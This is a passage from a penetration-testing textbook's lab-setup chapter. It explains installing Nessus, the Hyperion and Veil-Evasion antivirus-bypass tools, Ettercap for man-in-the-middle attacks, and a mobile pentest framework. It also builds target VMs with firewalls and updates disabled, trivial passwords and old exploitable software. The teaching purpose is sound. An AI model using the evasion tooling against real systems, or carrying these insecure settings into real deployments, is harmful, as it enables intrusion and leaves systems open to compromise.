Setting Up Your Virtual Lab 15
VMware Fusion on Mac OS
To change the virtual network connection in VMware Fusion, go to Virtual
Machine4Network Adapter and change from NAT to Bridged, as shown in
Figure 1-9.
Figure 1-9: Changing the network adapter
Connecting the Virtual Machine to the Network
Kali Linux should automatically pull an IP address from the Bridged network
once you make the switch. To verify your IP address, open a Linux terminal
by clicking the terminal icon(a black rectangle with the symbols >_) at the
top left of the Kali screen (or choose Applications4Accessories4Terminal).
Then run the command ifconfig to see your network information, as shown
in Listing 1-1.
[email protected]:~# ifconfig
eth0
Link encap:Ethernet HWaddr 00:0c:29:df:7e:4d
inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fedf:7e4d/64 Scope:Link
--snip-Listing 1-1: Networking information
NOTE 16 Chapter 1
The prompt [email protected]:~# is the superuser (root) prompt. We will learn more about
this and the other Linux commands we use for setup in Chapter 2.
The IPv4 address for this virtual machine is 192.168.20.9, as highlighted
in bold in Listing 1-1. (The IP address for your machine will likely differ.)
Testing Your Internet Access
Now let’s make sure that Kali Linux can connect to the Internet. We’ll use
the ping network utility to see if we can reach Google. Make sure your computer is connected to the Internet, open a Linux terminal, and enter the
following.
[email protected]:~# ping www.google.com
If you see something like the following in response, you’re online.
(We’ll learn more about the ping command in Chapter 3.)
PING www.google.com (50.0.2.221) 56(84) bytes of data.
64 bytes from cache.google.com (50.0.2.221): icmp_req=1
64 bytes from cache.google.com (50.0.2.221): icmp_req=2
64 bytes from cache.google.com (50.0.2.221): icmp_req=3
64 bytes from cache.google.com (50.0.2.221): icmp_req=4
64 bytes from cache.google.com (50.0.2.221): icmp_req=5
64 bytes from cache.google.com (50.0.2.221): icmp_req=6
--snip--
ttl=60
ttl=60
ttl=60
ttl=60
ttl=60
ttl=60
time=28.7
time=28.1
time=27.4
time=29.4
time=28.7
time=28.0
ms
ms
ms
ms
ms
ms
If you do not receive a response, make sure that you have set your network adapter to Bridged, that Kali Linux has an IP address, and, of course,
that your host system currently has Internet access.
Installing Nessus
Although Kali Linux has just about every tool we’ll need, we do need to
install a few additional programs. First, we’ll install Tenable Security’s
Nessus Home vulnerability scanner. This scanner is free for home use only
(you’ll see a description of limitations on the Nessus website). Note that
Nessus is very actively developed, so the current version as well as its GUI
may have changed a bit since this book went to press.
Use the following steps to install Nessus Home from within Kali:
1. Open Applications4Internet4Iceweasel Web Browser and enter
http://www.tenable.com/products/nessus-home/ in the address bar. Complete
the Register for an Activation Code information and click Register.
(Use a real email address—you’ll need the activation code later.)
2. Once you reach the Downloads page, choose the latest version of Nessus
for the Linux Debian 32-bit platform (Nessus-5.2.5-debian6_i386.deb as of
this writing) and download it to your root directory (the default download location).
3. Open a Linux terminal (click the terminal icon at the top of the Kali
screen) to open a root prompt.
Setting Up Your Virtual Lab 17
4. Enter ls to see a list of the files in your root directory. You should see
the Nessus file that you just downloaded.
5. Enter dpkg -i followed by the name of the file you downloaded (you can
type the first letter of the filename and press tab to use tab completion)
and press enter to begin the install process. Installation may take a while
as Nessus processes various plugins. Progress is shown by a line of hash
symbols (#).
Selecting previously unselected package nessus.
(Reading database ... 355024 files and directories currently installed.)
Unpacking nessus (from Nessus-5.2.5-debian6_amd64.deb) ...
Setting up nessus (5.2.5) ...
nessusd (Nessus) 5.2.5 [build N25109] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Processing the Nessus plugins...
[###########
]
6. Once you’re returned to the root prompt with no errors, Nessus should
be installed, and you should see a message like this.
All plugins loaded
Fetching the newest plugins from nessus.org...
Fetching the newest updates from nessus.org...
Done. The Nessus server will start processing these plugins within a
minute
nessusd (Nessus) 5.2.5 [build N25109] for Linux
Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Processing the Nessus plugins...
[##################################################]
All plugins loaded
- You can start nessusd by typing /etc/init.d/nessusd start
- Then go to https://kali:8834/ to configure your scanner
7. Now enter the following to start Nessus.
[email protected]:~# /etc/init.d/nessusd start
8. Open the URL https://kali:8834/ in the Iceweasel web browser. You
should see a SSL certificate warning, similar to that in Figure 1-10.
note
18 Chapter 1
If you access Nessus from outside the Iceweasel browser in Kali, you will need to go to
https://<ipaddressofKali>:8834 instead.
Figure 1-10: Invalid SSL certificate warning
9. Expand I Understand the Risks and click Add Exception. Then click
Confirm Security Exception, as shown in Figure 1-11.
Figure 1-11: Confirming the security exception
Setting Up Your Virtual Lab 19
10. Click Get Started at the bottom left of the opening Nessus page and
enter a username and password on the following page. I’ve chosen
georgia:password for my example. If you choose something else, remember
it because we’ll use Nessus in Chapter 6. (Note that I use poor passwords
throughout this book, as will many clients you encounter. In production,
you should use much better passwords than password.)
11. At the next page, enter the activation code you received via email from
Tenable Security.
12. Once registered with Tenable Security, choose the option to download
plugins (downloading will take some time). Once Nessus processes the
plugins, it will initialize.
When Nessus finishes downloading plugins and configuring the software, you should see the Nessus login screen, as shown in Figure 1-12. You
should be able to use the credentials for the account you created during
setup to log in.
Figure 1-12: Login screen of the Nessus web interface
To close Nessus, just close its tab in the browser. We will come back to
Nessus in Chapter 6.
Installing Additional Software
We’re not done yet. Follow these instructions to complete your Kali Linux
install.
The Ming C Compiler
We need to install a cross compiler so we can compile C code to run on
Microsoft Windows systems. The Ming compiler is included in the Kali Linux
repositories but is not installed by default. Install it with this command.
[email protected]:~# apt-get install mingw32
20 Chapter 1
Hyperion
We’ll use the Hyperion encryption program to bypass antivirus software.
Hyperion is not currently included in the Kali repositories. Download
Hyperion with wget, unzip it, and compile it with the Ming cross compiler
you installed in the previous step, as shown in Listing 1-2.
[email protected]:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
[email protected]:~# unzip Hyperion-1.0.zip
Archive: Hyperion-1.0.zip
creating: Hyperion-1.0/
creating: Hyperion-1.0/FasmAES-1.0/
[email protected]:~# i586-mingw32msvc-c++ Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe
--snip-Listing 1-2: Installing Hyperion
Veil-Evasion
Veil-Evasion is a tool that generates payload executables you can use to bypass
common antivirus solutions. Install Veil-Evasion Kali (see Listing 1-3) by first
downloading it with the command wget. Next, unzip the downloaded file
master.zip and change to the Veil-master/setup directory. Finally, enter ./setup.sh
and follow the default prompts.
[email protected]:~# wget https://github.com/ChrisTruncer/Veil/archive/master.zip
--2015-11-26 09:54:10-- https://github.com/ChrisTruncer/Veil/archive/master.zip
--snip-2015-11-26 09:54:14 (880 KB/s) - `master.zip' saved [665425]
[email protected]:~# unzip master.zip
Archive: master.zip
948984fa75899dc45a1939ffbf4fc0e2ede0c4c4
creating: Veil-Evasion-master/
--snip-inflating: Veil-Evasion-master/tools/pyherion.py
[email protected]:~# cd Veil-Evasion-master/setup
[email protected]:~/Veil-Evasion-master/setup# ./setup.sh
=========================================================================
[Web]: https://www.veil-evasion.com | [Twitter]: @veilevasion
=========================================================================
[*] Initializing Apt Dependencies Installation
--snip—
Do you want to continue? [Y/n]? Y
[email protected]:~#
Listing 1-3: Installing Veil-Evasion
Setting Up Your Virtual Lab 21
Ettercap
Ettercap is a tool for performing man-in-the-middle attacks. Before running it for the first time, we need to make a couple of changes to its configuration file at /etc/ettercap/etter.conf. Open its configuration file from a Kali
root prompt in the nano editor.
[email protected]:~# nano /etc/ettercap/etter.conf
First change the userid and groupid values to 0 so Ettercap can run with
root privileges. Scroll down to where you see the following lines in the file.
Replace whatever values you see following the equal signs (=) with a 0.
[privs]
ec_uid = 0
ec_gid = 0
# nobody is the default
# nobody is the default
Now scroll down to the Linux section of the file and uncomment
(remove the leading # characters) before the two lines shown at u and v
in Listing 1-4 to set Iptables firewall rules to redirect the traffic.
#--------------#
Linux
#--------------# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT
%rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT
%rport"
# if you use iptables:
uredir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT
--to-port %rport"
vredir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT
--to-port %rport"
Listing 1-4: Ettercap configuration file
Save and exit the file by pressing ctrl-X and then Y to save the changes.
Setting Up Android Emulators
Now we’ll set up three Android emulators on Kali to use for mobile testing
in Chapter 20. First we’ll need to download the Android SDK.
1. Open the Iceweasel web browser from within Kali and visit https://
developer.android.com/sdk/index.html.
2. Download the current version of the ADT bundle for 32-bit Linux and
save it to your root directory.
22 Chapter 1
3. Open a terminal, list the files there (ls), and extract the compressed
archive that you just downloaded with unzip (the x’s represent the name
of your file, as versions may have changed since this was written).
[email protected]:~# unzip adt-bundle-Linux-x86-xxxxxxxxxxx.zip
4. Now use cd to go into the new directory (with the same name as the file
without the .zip extension).
# cd sdk/tools
# ./android
5. The Android SDK Manager should open, as shown in Figure 1-13.
Figure 1-13: The Android SDK Manager
We’ll download any updates to the Android SDK tools and Android SDK
platform tools (checked by default), as well as Android 4.3 and a couple of
older versions of Android with specific vulnerabilities, Android 2.2 and
Android 2.1. Select the boxes to the left of each Android version. Then
(leaving Updates/New and Installed checked) click Install packages, as
shown in Figure 1-14. Accept the license agreement, and the Android SDK
should download and install the chosen packages. Installation will likely
take several minutes.
Setting Up Your Virtual Lab 23
Figure 1-14: Installing Android software
Now it’s time to set up our Android virtual devices. Open the Android
SDK Manager and choose Tools4Manage AVDs. You should see the window shown in Figure 1-15.
Figure 1-15: Android Virtual Device Manager
24 Chapter 1
We’ll create three Android emulators based on Android 4.3, 2.2,
and 2.1, as shown in Figure 1-16. Use the values shown in the figure for
each emulator but set the value of Target to the Android version of the
emulator you would like to build (the Google API versions of Android 4.3
[Google APIs version 18], 2.2 [Google APIs version 8], and 2.1 [Google
APIs version 7]). Fill the AVD Name field with a descriptive value. Add a
small SD Card value (100MB should be more than sufficient) so you can
download files to your Android emulators. Set Device to Nexus 4 and Skin
to Skin with dynamic hardware controls. Leave the rest of the options at
their defaults.
Figure 1-16: Creating an Android emulator
Once you’ve built all three emulators, your AVD Manager should look
like Figure 1-17 (device names may be different of course).
Setting Up Your Virtual Lab 25
Figure 1-17: Android emulators created in Android Virtual Device Manager
To start an emulator, highlight it and click Start. Then click Launch in
the pop-up, as shown in Figure 1-18.
Figure 1-18: Launching an Android emulator
It may take a few minutes for the emulator to boot up for the first time,
but once it does, you should have something that looks and feels much like
a real Android device. The Android 4.3 emulator is shown in Figure 1-19.
26 Chapter 1
Figure 1-19: Android 4.3 emulator
Note
To run the Android emulators in Kali, you will likely need to increase the performance of your virtual machine by increasing its RAM and CPU cores. I am able to
run all three emulators with 3GB RAM and two CPU cores allocated to Kali. You
can make these changes in the virtual machine settings in your VMware product. The
amount of power you can give to Kali will, of course, depend on the resources available on your host machine. As an alternative, instead of running the Android emulators on Kali Linux, you can install Android and the emulators on your host system
or even another system on the local network. The exercises in Chapter 20 will work as
long as the emulators can communicate with Kali.
Smartphone Pentest Framework
Next, download and install the Smartphone Pentest Framework (SPF), which
we’ll use for mobile attacks. Use git to download the source code. Change
to the downloaded Smartphone-Pentest-Framework directory as shown here.
[email protected]:~# git clone -b SPFBook https://github.com/georgiaw/Smartphone-Pentest-Framework.git
[email protected]:~# cd Smartphone-Pentest-Framework
Now open the file kaliinstall in the nano text editor. The first few lines
are shown in Listing 1-5. Note the lines that refer to /root/adt-bundle-linux​
-x86-20131030/sdk/tools/android. If the name of your ADT bundle folder is
different (due to the release of a subsequent version), change this value to
match the correct place where you installed the Android ADT in the previous section.
Setting Up Your Virtual Lab 27
[email protected]:~/Smartphone-Pentest-Framework# nano kaliinstall
#!/bin/sh
## Install needed packages
echo -e "$(tput setaf 1)\nInstallin serialport, dbdpg, and expect for perl\n"; echo "$(tput
sgr0)"
echo -e "$(tput setaf 1)#########################################\n"; echo "$(tput sgr0)"
echo $cwd;
#apt-get -y install libexpect-perl libdbd-pg-perl libdevice-serialport-perl;
apt-get install ant
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-4 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_
apis-google-4 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter android-14 -a
/root/adt-bundle-linux-x86-20131030/sdk/tools/android update sdk --no-ui --filter addon-google_
apis-google-14 -a
--snip-Listing 1-5: Installing Smartphone Pentest Framework
Now run the kaliinstall script, as shown here.
[email protected]:~/Smartphone-Pentest-Framework# ./kaliinstall
This will set up the SPF, which we’ll use in Chapter 20.
Finally, we need to make one more change to the configuration file for
SPF. Change directories to Smartphone-Pentest-Framework/frameworkconsole
and open the file config in nano. Look for the option #LOCATION OF ANDROID
SDK. If your ADT bundle folder name has changed since the version current
at the time of this writing, change it accordingly in the line that begins with
ANDROIDSDK=.
[email protected]:~/Smartphone-Pentest-Framework# cd frameworkconsole/
[email protected]:~/Smartphone-Pentest-Framework/frameworkconsole# nano config
--snip-#LOCATION OF ANDROID SDK
ANDROIDSDK = /root/adt-bundle-linux-x86-20131030/sdk
--snip--
Target Virtual Machines
We’ll use three custom-built target machines to simulate vulnerabilities
often found in client environments: Ubuntu 8.10, Windows XP SP3, and
Windows 7 SP1.
You’ll find a link to a torrent containing the Ubuntu virtual machine
at http://www.nostarch.com/pentesting/. The target system is compressed using
the 7-Zip archive, and 1stPentestBook?! is the password for the archive. You can
use 7-Zip programs to open the archives for all platforms. For the Windows
and Linux packages, use http://www.7-zip.org/download.html; for Mac OS, use
Ez7z at http://ez7z.en.softonic.com/mac/. The archive is ready for use as soon as
it is unzipped.
28 Chapter 1
To set up the Windows virtual machines, you’ll need to install and configure Windows XP SP3 and 32-bit Windows 7 SP1. Sources for the installation media include TechNet and MSDN (the Microsoft Developer Network),
among others. (You should be able to use your Windows virtual machines
on a trial basis for 30 days without a license key.)
Creating the Windows XP Target
Your Windows XP target should be a base installation of Windows XP SP3
with no additional security updates. (Visit my website at http://www​
.bulbsecurity.com/ for more information about finding a copy of Windows XP.)
Once you have a copy of Windows XP SP3, here’s how to install it on
Microsoft Windows or Mac OS.
VMware Player on Microsoft Windows
To install Windows XP on VMware Player for Windows:
1. Choose Create A New Virtual Machine in VMware Player and point
the New Virtual Machine Wizard to the Windows XP installation disk
or ISO image. Depending on your source disk or image, you may be
offered the option to use Easy Install (if you’re installing a version with
a license key), or you may see a yellow triangle warning, “Could not
detect which operating system is in this disc image. You will need to
specify which operating system will be installed.” In the latter case, just
press Next.
2. In the Select a Guest Operating System dialog, select Microsoft Windows
in the Guest operating system section and your version of Windows XP in
the drop-down box, as shown in Figure 1-20, and press Next.
Figure 1-20: Selecting your version of Windows XP
Setting Up Your Virtual Lab 29
3. In the next dialog, enter Bookxp XP SP3 as the name of your virtual
machine and press Next.
4. In the Specify Disk Capacity dialog, accept the recommended hard disk
size for your virtual machine of 40GB and check the box for Store virtual disk as a single file, as shown in Figure 1-21, and press Next.
Figure 1-21: Specifying the disk capacity
Note
The Virtual Machine will not take up the entire 40GB; it will only take up space on
your hard drive as needed. This is just a maximum value.
5. In the Ready to Create Virtual Machine dialog, shown in Figure 1-22,
click Customize Hardware.
Figure 1-22: Customizing your hardware
30 Chapter 1
6. In the Hardware dialog, choose Network Adapter, and in the Network
Connection field that appears, select Bridged: Connected directly to
the physical network. Next, click Configure Adapters and select the
adapter you’re using to connect to the Internet, as shown in Figure 1-23.
Then press OK, Close, and Finish.
Figure 1-23: Configuring your network adapter as bridged
You should now be able to play your Windows XP virtual machine.
Continue to the instructions for installing and activating Windows XP
in “Installing and Activating Windows” on page 32.
VMware Fusion on Mac OS
In VMware Fusion, go to File4New4Import from disk or image
and point it to the Windows XP installation disk or image, as shown
in Figure 1-24.
Follow the prompts to create a fresh installation of Windows XP SP3.
Setting Up Your Virtual Lab 31
Figure 1-24: Creating a new virtual machine
Installing and Activating Windows
As part of the installation process, you will be prompted for a Windows
license key. If you have one, enter it here. If not, you should be able to use
the virtual machine on a trial basis for 30 days. To continue without entering a license key, click Next when prompted for the key. A pop-up will warn
you that entering a license key is recommended and ask if you would like to
enter one now, as shown in Figure 1-25. Just click No.
Figure 1-25: License key dialog
32 Chapter 1
As shown in Figure 1-26, when prompted, set Computer name to Bookxp.
Set Administrator password to password.
Figure 1-26: Setting the computer name and Administrator password
You can leave the date/time and TCP/IP settings at their defaults when
prompted. Likewise, leave the Windows XP target as part of the workgroup
WORKGROUP instead of joining it to a domain, as shown in Figure 1-27.
Figure 1-27: Workgroup settings
Setting Up Your Virtual Lab 33
Tell Windows not to automatically install security updates, as shown in
Figure 1-28. This step is important, because some of the exploits we will run
rely on missing Windows patches.
Figure 1-28: Turning off automatic security updates
You will then be prompted to activate Windows. If you entered a license
key, go ahead and activate it. Otherwise you can choose No, remind me
every few days, as shown in Figure 1-29.
Figure 1-29: Activating Windows
34 Chapter 1
Now create user accounts georgia and secret, as shown in Figure 1-30. We
will create passwords for these users after setup is finished.
Figure 1-30: Adding users
When Windows starts up, log in as the user georgia with no
password.
Installing VMware Tools
Now install VMware Tools, which will make it easier to use your virtual
machine by, for example, letting you copy/paste and drag programs onto
the virtual machine from the host system.
VMware Player on Microsoft Windows
In VMware Player, install VMware Tools from Player4Manage4Install
VMware Tools, as shown in Figure 1-31. The VMware Tools installer should
automatically run in Windows XP.
Setting Up Your Virtual Lab 35
Figure 1-31: Installing VMware Tools in VMware Player
VMware Fusion on Mac OS
Install VMware Tools from Virtual Machines4Install VMware Tools, as
shown in Figure 1-32. The VMware Tools installer should automatically run
in Windows XP.
Figure 1-32: Installing VMware Tools in VMware Fusion
36 Chapter 1
Turning Off Windows Firewall
Now open the Control Panel from the Windows Start menu. Click Security
Center4Windows Firewall to turn off the Windows Firewall, as shown in
Figure 1-33.
Figure 1-33: Turning off the Windows firewall
Setting User Passwords
Again in the Control Panel, go to User Accounts. Click the user georgia
and then select Create a password. Set georgia’s password to password, as
shown in Figure 1-34. Do the same thing for the user secret, but set secret’s
password to Password123.
Figure 1-34: Setting a user password
Setting Up Your Virtual Lab 37
Setting a Static IP Address
Next, set a static IP address so your networking information won’t change
as you work through the book. But first we need to figure out the address
of our default gateway.
Ensure that your Windows XP system is set to use bridged networking
in VMware. By default, your virtual machine will automatically pull an IP
address using DHCP.
To find the default gateway, open a Windows command prompt by
going to Start4Run, entering cmd, and clicking OK. In the command
prompt, enter ipconfig. This will show you the networking information,
including the default gateway.
C:\Documents and Settings\georgia>ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific
IP Address. . . . .
Subnet Mask . . . .
Default Gateway . .
DNS
. .
. .
. .
Suffix
. . . .
. . . .
. . . .
.
.
.
.
:
:
:
:
XXXXXXXX
192.168.20.10
255.255.255.0
192.168.20.1
C:\Documents and Settings\georgia>
In my case, the IP address is 192.168.20.10, the subnet mask is
255.255.255.0, and the default gateway is 192.168.20.1.
1. In the Control Panel, go to Network and Internet Connections and
click Network Connections at the bottom of the screen.
2. Right-click Local Area Connection and then select Properties.
3. Highlight Internet Protocol (TCP/IP) and select Properties. Now
enter a static IP address and set the Subnet mask and Default gateway
to match the data you found with the ipconfig command, as shown in
Figure 1-35. Set the Preferred DNS server to your default gateway as well.
Now it’s time to see if our virtual machines can communicate. Once
you’re sure that the settings match, return to the Kali virtual machine (start
it if you had shut it down) and enter ping <static ip address of your Windows
XP virtual machine>, as shown here.
Note
My IP address is 192.168.20.10. Throughout the book, you should replace this
value with the IP address of your systems.
[email protected]:~# ping 192.168.20.10
PING 192.168.20.10 (192.168.20.10) 56(84) bytes of data.
64 bytes from 192.168.20.10: icmp_req=1 ttl=128 time=3.06 ms
^C
38 Chapter 1
Figure 1-35: Setting a static IP address
Enter ctrl-C to stop the ping command. If you see output beginning
with 64 bytes from <ip address of XP>, as shown previously, your virtual
machines are able to communicate. Congratulations! You’ve set up a network of virtual machines.
If instead you see a message including the text Destination Host
Unreachable, troubleshoot your networking: Make sure your virtual
machines are on the same bridged virtual network, check that your
default gateway is correct, and so on.
Making XP Act Like It’s a Member of a Windows Domain
Finally, we need to modify a setting in Windows XP so that it will behave as
if it were a member of a Windows domain, as many of your clients will be.
I’m not having you set up an entire Windows domain here, but during post
exploitation, a couple of exercises will simulate a domain environment.
Return to your XP virtual machine and follow these steps.
1. Select Start4Run and enter secpol.msc to open the Local Security
Settings panel.
2. Expand Local Policies on the left and double-click Security Options
on the right.
3. In the Policy list in the pane on the right, double-click Network access:
Sharing and security model for local accounts and choose Classic
- local users authenticate as themselves from the drop-down list, as
shown in Figure 1-36.
Setting Up Your Virtual Lab 39
Figure 1-36: Changing a local security setting to make your target act like a member of a
Windows domain
4. Click Apply and then OK.
5. Close any open windows in your virtual machine.
Installing Vulnerable Software
In this section we’ll install some vulnerable software on our Windows XP
virtual machine. We’ll be attacking this software in later chapters. Open
your Windows XP virtual machine and, while still logged in as user georgia,
follow the directions to install each of the packages listed here.
Zervit 0.4
Download Zervit version 0.4 from http://www.exploit-db.com/exploits/12582/.
(Click the Vulnerable App option to download the files.) Unzip the downloaded archive and double-click the Zervit program to open and run it.
Then enter port number 3232 in the console when the software starts.
Answer Y to allowing directory listing, as shown in Figure 1-37. Zervit will
not automatically restart when you reboot Windows XP, so you will need to
restart it if you reboot.
40 Chapter 1
Figure 1-37: Starting Zervit 0.4
SLMail 5.5
Download and run SLMail version 5.5 from http://www.exploit-db.com/
exploits/638/, using the default options when prompted. Just click Next for
all of the options and don’t change anything. If you get a warning about a
domain name, just ignore it and click OK. We don’t really need to deliver
any email here.
Once SLMail is installed, restart your virtual machine. Then open
Start4All Programs4SL Products4SLMail4SLMail Configuration.
In the Users tab (default), right-click the SLMail Configuration window
and choose New4User, as shown in Figure 1-38.
Figure 1-38: Adding a user in SLMail
Setting Up Your Virtual Lab 41
Click the newly created user icon, enter username georgia, and fill in
the information for the user, as shown in Figure 1-39. The mailbox name
should be georgia with password password. Keep the defaults and press OK
once you’ve finished.
Figure 1-39: Setting the user information in SLMail
3Com TFTP 2.0.1
Next, download 3Com TFTP version 2.0.1 as a zipped file from http://www​
.exploit-db.com/exploits/3388/. Extract the files and copy 3CTftpSvcCtrl and
3CTftpSvc to the directory C:\Windows, as shown in Figure 1-40.
Figure 1-40: Copying 3Com TFTP to C:\Windows
42 Chapter 1
Then open 3CTftpSvcCtrl (the blue 3 icon) and click Install Service, as
shown in Figure 1-41.
Figure 1-41: Installing 3Com TFTP
Click Start Service to start 3Com TFTP for the first time. From now on, it
will automatically start when you boot up the computer. Press Quit to exit.
XAMPP 1.7.2
Now we’ll install an older version of the XAMPP software, version 1.7.2, from
http://www.oldapps.com/xampp.php?old_xampp=45/. (The older version of
Internet Explorer on Windows XP seems to have some trouble opening this
page. If you have trouble, download the software from your host system and
copy it onto Windows XP’s desktop.)
1. Run the installer and accept the default options as they’re presented to
you. When installation is finished, choose option 1. start XAMPP Control
Panel, as shown in Figure 1-42.
Figure 1-42: Starting XAMPP Control Panel
Setting Up Your Virtual Lab 43
2. In the XAMPP Control Panel, install the Apache, MySQL, and FileZilla
services (select the Svc checkbox to the left of the service name). Then
click the Start button for each service. Your screen should look like the
one shown in Figure 1-43.
Figure 1-43: Installing and starting XAMPP services
3. Click the Admin button for FileZilla in the XAMPP Control Panel. The
Admin panel is shown in Figure 1-44.
Figure 1-44: FileZilla Admin panel
4. Go to Edit4Users to open the Users dialog, shown in Figure 1-45.
5. Click the Add button on the right of the dialog box.
6. In the Add User Account dialog box, enter georgia and press OK.
44 Chapter 1
Figure 1-45: Adding an FTP user
7. With georgia highlighted, check the Password box under Account
Settings and enter password.
Click OK. When prompted to share a folder, browse to the georgia’s
Documents folder on Windows and select it to share it, as shown in Figure 1-46.
Leave the defaults for all other checkboxes, as shown in the figure. Click
OK once you’ve finished and exit the various open windows.
Figure 1-46: Sharing a folder via FTP
Setting Up Your Virtual Lab 45
Adobe Acrobat Reader
Now we’ll install Adobe Acrobat Reader version 8.1.2 from http://www.oldapps​
.com/adobe_reader.php?old_adobe=17/. Follow the default prompts to install it.
Click Finish once you’re done. (Here again you may need to download the
file to your host system and copy it to Windows XP’s desktop.)
War-FTP
Next, download and install War-FTP version 1.65 from http://www.exploit-db​
.com/exploits/3570/. Download the executable from exploit-db.com to georgia’s
desktop and run the downloaded executable to install. You do not need to
start the FTP service; we will turn it on when we discuss exploit development in Chapters 16 through 19.
WinSCP
Download and install the latest version of WinSCP from http://winscp.net/.
Choose the Typical Installation option. You can uncheck the additional
add-ons. Click Finish once you’re done.
Installing Immunity Debugger and Mona
Now we’ll finish up the Windows XP virtual machine by installing a debugger, a tool that helps detect errors in computer programs. We’ll be using
the debugger in the exploit development chapters. Visit the Immunity
Debugger registration page at http://debugger.immunityinc.com/ID_register.py.
Complete the registration and then press the Download button. Run the
installer.
When asked if you want to install Python, click Yes. Accept the license
agreement and follow the default installation prompts. When you close the
installer, the Python installation will automatically run. Use the default
installation values.
Once Immunity Debugger and Python have been installed, download
mona.py from http://redmine.corelan.be/projects/mona/repository/raw/mona.py/.
Copy mona.py to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands,
as shown in Figure 1-47.
Open Immunity Debugger, and at the command prompt at the bottom
of the window, enter !mona config -set workingfolder c:\logs\%p, as shown in
Figure 1-48. This command tells mona to log its output to C:\logs\<program
name>, where <program name> is the program Immunity Debugger is currently debugging.
Now our Windows XP target is set up and ready to go.
46 Chapter 1
Figure 1-47: Installing Mona
Figure 1-48: Setting up Mona’s logs
Setting Up Your Virtual Lab 47
Setting Up the Ubuntu 8.10 Target
Because Linux is open source, you can simply download the Linux virtual machine as part of the torrent for this book. Unzip the 7-Zip archive
BookUbuntu.7zip and use the password 1stPentestBook?! to open the archive.
Open the .vmx file in VMware. If you are prompted with a message that
says the virtual machine appears to be in use, click Take Ownership and,
as with Kali, select I copied it. The username and password for the virtual
machine itself are georgia:password.
Once you have the Ubuntu virtual machine loaded, make sure the network interface is set to Bridged in VMware and click the networking icon
(two computers) at the top right of the screen to attach the virtual machine
to the network. Do not install any updates if prompted. As with Windows XP,
we will exploit out-of-date software on this system. Now this virtual machine
is all set up. (I’ll show you how to set a static IP address in Linux in Chapter 2.)
Creating the Windows 7 Target
As with Windows XP, you’ll need to install a copy of Windows 7 SP1 in
VMware by loading your image or DVD. A 30-day trial version of 32-bit
Windows 7 Professional SP1 will work fine, but you’ll need to activate it after
30 days if you wish to continue using it. To find a legal version of Windows 7
SP1, try one of the following:
•
•
Note
Visit http://www.softpedia.com/get/System/OS-Enhancements/Windows-7.shtml.
Visit http://technet.microsoft.com/en-us/evalcenter/dn407368.
Your school or workplace may have access to programs like DreamSpark or BizSpark
that give you access to Windows operating systems. You can also check my website
(http://www.bulbsecurity.com/) for more resources.
Creating a User Account
After installing Windows 7 Professional SP1, opt out of security updates and
create user Georgia Weidman as an administrator with a password of password, as shown in Figures 1-49 and 1-50.
Again opt out of automatic updates. When prompted, set the computer’s current location to a work network. Once the installation has finished,
log in to the account Georgia Weidman. Leave the Windows Firewall enabled.
VMware will reboot Windows 7 a few times as it installs everything.
Now tell VMware to install VMware Tools, as you did in the Windows XP
section. After instructing VMware to install VMware Tools in the virtual
machine, if the installer does not automatically run, go to My Computer
and run the VMware Tools installer from the virtual machine’s DVD drive,
as shown in Figure 1-51.
48 Chapter 1
Figure 1-49: Setting a username
Figure 1-50: Setting a password for the user Georgia Weidman
Setting Up Your Virtual Lab 49
Figure 1-51: Installing VMware Tools
Opting Out of Automatic Updates
Though our attacks on Windows 7 will largely rely on flaws in third-party
software rather than missing Windows patches, let’s once again opt out of
Windows updates for this virtual machine. To do this, go to Start4 Control
Panel4System and Security. Then under Windows Update, click Turn
Automatic Updating On or Off. Set Important updates to Never check for
updates (not recommended) as shown in Figure 1-52. Click OK.
Figure 1-52: Opting out of automatic updates
50 Chapter 1
Setting a Static IP Address
Set a static IP address by choosing Start4 Control Panel4Network and
Internet4Network and Sharing Center4 Change Adapter Settings4Local
Area Network. Now right-click and choose Properties4Internet Protocol
Version 4 (TCP/IPv4)4Properties. Set these values as you did for Windows
XP (discussed in “Setting a Static IP Address” on page 38), but use a different value for the Windows 7 IP address, as shown in Figure 1-53. If asked
whether to configure this network as Home, Work, or Public, choose Work.
(Be sure that your virtual machine network setting is configured to use a
bridged adapter.)
Figure 1-53: Setting a static IP address
Because the Windows firewall is turned on, Windows 7 won’t respond
to a ping from our Kali system. Therefore, we’ll ping our Kali system
from Windows 7. Start your Kali Linux virtual machine, and from your
Windows 7 virtual machine, click the Start button. Then enter cmd in the
Run dialog to open a Windows command prompt. At the prompt, enter
the following.
ping <IP Address of Kali>
If everything is working, you should see replies to the ping request as in
“Setting a Static IP Address” on page 38.
Setting Up Your Virtual Lab 51
Adding a Second Network Interface
Now shut down your Windows 7 virtual machine. We’re going to add a
second network interface to the Windows 7 virtual machine that will allow
the Windows 7 system to be part of two networks. We’ll use this setup during post exploitation to simulate attacking additional systems on a second
network.
In VMware Player on Microsoft Windows, choose Player4Manage4 Virtual Machine Settings4Add, select Network Adapter, and press Next.
This adapter will be Network Adapter 2. In VMware Fusion on Mac OS,
go to Virtual Machine Settings, select Add a Device, and select a network
adapter. Set this new adapter to the Host Only network. Press OK, and the
virtual machine should restart. (We do not need to set a static IP address
for Network Adapter 2.) When the virtual machine restarts, open Virtual
Machine Settings again, and you should see the two network adapters
listed. Both should be connected when your computer powers on.
Installing Additional Software
Now install the following software in your Windows 7 virtual machine,
using default settings across the board:
•
•
•
•
52 Chapter 1
Java 7 Update 6, an out-of-date version of Java, from http://www.oldapps​
.com/java.php?old_java=8120/.
Winamp version 5.55 from http://www.oldapps.com/winamp.php?old_
winamp=247/. (Uncheck the changes to your search engine and
